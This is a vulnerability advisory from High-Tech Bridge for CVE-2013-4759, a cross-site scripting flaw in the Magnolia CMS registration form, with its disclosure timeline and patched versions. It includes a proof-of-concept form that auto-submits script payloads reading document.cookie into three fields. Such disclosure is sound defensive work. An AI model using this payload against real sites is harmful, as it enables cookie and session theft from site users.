Cross-Site Scripting (XSS) in Magnolia CMS

[advisory@xxxxxxxxxxxx]

Advisory ID: HTB23163
Product: Magnolia CMS
Vendor: Magnolia International Ltd
Vulnerable Version(s): 4.5.7, 4.5.8, 4.5.9, 5.0 and 5.0.1 Community Edition
Tested Version:  5.0 Community Edition
Vendor Notification: July 3, 2013 
Vendor Patch: July 18, 2013 
Public Disclosure: July 24, 2013 
Vulnerability Type: Cross-Site Scripting [CWE-79]
CVE Reference: CVE-2013-4759
Risk Level: Medium 
CVSSv2 Base Score: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( 
https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered XSS vulnerability in Magnolia 
CMS, which can be exploited to perform Cross-Site Scripting attacks against 
users of vulnerable application.


1) Cross-Site Scripting (XSS) in Magnolia CMS: CVE-2013-4759

The vulnerability exists due to insufficient sanitisation of user-supplied data 
in "username", "fullname" and "email" HTTP POST parameters passed to 
"/magnoliaPublic/demo-project/members-area/registration.html" URL.

A remote attacker can trick victim to open a specially crafted link and execute 
arbitrary HTML and scripting code in his browser in context of the vulnerable 
website.

The exploitation example below uses the "alert()" JavaScript function to 
display user's cookies:


<form 
action="http://[host]/magnoliaPublic/demo-project/members-area/registration.html";
 method="post" name="main">
<input type="hidden" name="mgnlModelExecutionUUID"  
value="8417fe0e-8f61-4d21-bdf1-c9c23b13ba14">
<input type="hidden" name="password"  value='password'>
<input type="hidden" name="passwordConfirmation"  value='password'>
<input type="hidden" name="username"  
value='"><script>alert(document.cookie);</script>'>
<input type="hidden" name="fullName"  
value='"><script>alert(document.cookie);</script>'>
<input type="hidden" name="email"  
value='"><script>alert(document.cookie);</script>'>
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
</script>


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Solution:

The vulnerability and fix are described in the MGNLFORM-183 issue (1). 

The hot fix for the vulnerability have been distributed to all clients and fix 
has been also made publicly available in Magnolia Form module version 1.4.7 
(for Magnolia 4.5.x branch) and 2.0.2 (for Magnolia 5.x branch). Anyone using 
affected version of Magnolia can download and update their installation of 
Magnolia with above mentioned version of Form module from (2) and (3) 
respectively:

(1) http://jira.magnolia-cms.com/browse/MGNLFORM-183
(2) 
http://nexus.magnolia-cms.com/content/repositories/magnolia.public.releases/info/magnolia/magnolia-module-form/1.4.7/
(3) 
http://nexus.magnolia-cms.com/content/repositories/magnolia.public.releases/info/magnolia/magnolia-module-form/2.0.2/

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References:

[1] High-Tech Bridge Advisory HTB23163 - 
https://www.htbridge.com/advisory/HTB23163 - Cross-Site Scripting (XSS) in 
Magnolia CMS.
[2] Magnolia CMS - http://www.magnolia-cms.com/ - Magnolia CMS is an open 
source Java content management system for the enterprise.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - 
international in scope and free for public use, CVE® is a dictionary of 
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to 
developers and security practitioners, CWE is a formal list of software 
weakness types. 

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Disclaimer: The information provided in this Advisory is provided "as is" and 
without any warranty of any kind. Details of this Advisory may be updated in 
order to provide as accurate information as possible. The latest version of the 
Advisory is available on web page [1] in the References.